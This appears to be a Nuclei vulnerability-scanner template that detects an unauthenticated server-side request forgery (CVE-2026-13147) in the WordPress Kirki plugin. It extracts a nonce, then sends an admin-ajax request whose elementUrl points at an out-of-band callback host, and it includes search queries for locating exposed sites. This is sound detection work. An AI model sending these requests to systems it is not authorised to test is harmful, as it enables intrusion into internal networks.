WordPress Kirki < 6.0.12 - Server-Side Request Forgery

id: CVE-2026-13147

info:
  name: WordPress Kirki < 6.0.12 - Server-Side Request Forgery
  author: 0x_Akoko
  severity: high
  description: |
    Kirki WordPress plugin < 6.0.12 contains a server-side request forgery caused by lack of URL validation, letting unauthenticated attackers make the site issue HTTP requests to arbitrary hosts, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can make the server send HTTP requests to arbitrary hosts, potentially leading to internal network access or data exposure.
  remediation: |
    Update to version 6.0.12 or later.
  reference:
    - https://wpscan.com/vulnerability/kirki-ssrf
    - https://nvd.nist.gov/vuln/detail/CVE-2026-13147
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-13147
    epss-score: 0.01466
    epss-percentile: 0.72894
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: developer-developer
    product: kirki
    framework: wordpress
    publicwww-query: "/wp-content/plugins/kirki/"
    shodan-query: http.html:"/wp-content/plugins/kirki/"
    fofa-query: body="/wp-content/plugins/kirki/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,kirki,ssrf,oast

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "window.wp_kirki")'
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        internal: true
        regex:
          - 'nonce:\s*"([a-f0-9]{10})"'

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=kirki_get_apis&endpoint=get-pre-built-html&elementUrl=http%3A%2F%2F{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}
        X-WP-Nonce: {{nonce}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 490a00463044022056d5c2f846c2e00e2c25400a3164c343254bf502898a58940ba5715b69597456022005a4833472e45e9c2bf8f0d12364f39aebdba7c62b6f0b791d86fdd79c0a9292:922c64590222798bb761d5b6d8e72950